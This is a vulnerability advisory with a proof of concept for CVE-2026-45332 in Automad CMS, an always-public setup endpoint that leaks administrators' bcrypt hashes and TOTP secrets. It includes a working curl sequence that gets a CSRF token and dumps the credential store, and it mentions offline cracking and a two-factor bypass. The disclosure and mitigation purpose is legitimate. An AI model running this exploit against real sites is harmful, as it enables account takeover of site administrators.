
Proof-of-concept exploit for CVE-2026-45332, a broken access control in Automad CMS allowing unauthenticated dump of admin bcrypt hashes and TOTP secrets.
Proof of concept for CVE-2026-45332, a Broken Access Control vulnerability in Automad CMS that allows any unauthenticated attacker to dump the bcrypt password hash and TOTP secret of every administrator account through the setup endpoint, which is never disabled after initial configuration.
| Field | Value |
|---|---|
| CVE | CVE-2026-45332 |
| GHSA | GHSA-xm76-r88j-vm3g |
| Product | Automad CMS (composer automad/automad) |
| Affected | >= 2.0.0-alpha.1, <= 2.0.0-beta.27 |
| Patched | 2.0.0-beta.28 |
| CVSS 3.1 | 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-200 (Sensitive Information Exposure), CWE-306 (Missing Authentication for Critical Function) |
| Researcher | Lorenzo Camilli |
Automad is a file-based PHP CMS. The setup endpoint responsible for creating the first administrator account, /_api/user-collection/create-first-user, is registered as a permanently public API route. There is no guard that closes it once initial configuration is complete.
On a live, fully configured instance, an unauthenticated POST to this endpoint loads the entire user database from disk and returns it, serialized, in the JSON response body, including:
2.0.0-beta.27)No prior account, credentials, or special network position are required.
The route is placed inside the $publicAPIRoutes array in automad/src/server/Routes.php and registered under the condition AM_PAGE_DASHBOARD, a constant that evaluates to the string '/dashboard' and is therefore always truthy. The route stays registered on every installation, including after setup is complete.
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
$UserCollection = new UserCollection(); // loads ALL existing users from disk
// ...
$php = $UserCollection->generatePHP(); // serializes every user including hashes
return $Response->setData(array(
'php' => $php, // credential hashes returned in response
'configDir' => dirname(UserCollection::FILE_ACCOUNTS) // absolute path leaked
));
}
User::__serialize() includes the private passwordHash and totpSecret fields, so they end up embedded in the serialized output that is returned to the caller.
Full technical write-up: PoC.md.
The endpoint requires a valid CSRF token and an Automad session cookie, both freely obtainable from the public login page. Reproduction:
# 1. Grab a session cookie and the CSRF token from the public login page
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
| grep -oP '(?<=<meta name="csrf" content=")[^"]+')
# 2. Dump the credential store
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
--data-urlencode "__csrf__=$CSRF" \
--data-urlencode 'username=dummy' \
--data-urlencode 'password1=AnyPassword1!' \
--data-urlencode 'password2=AnyPassword1!' \
--data-urlencode '[email protected]' | jq .
The response contains the bcrypt hash and TOTP secret of every registered administrator plus the absolute config path:
{
"code": 200,
"data": {
"php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
"filename": "accounts.php",
"configDir": "/path/to/config"
}
}
The bcrypt hashes can then be cracked offline (Hashcat / John). On 2.0.0-beta.27 the leaked TOTP secret bypasses two-factor authentication outright.
An unauthenticated remote attacker can:
2.0.0-beta.27).Update to Automad 2.0.0-beta.28 or later, which restricts the endpoint once initial setup is complete. As a temporary mitigation, block requests to /_api/user-collection/create-first-user at the web server or WAF.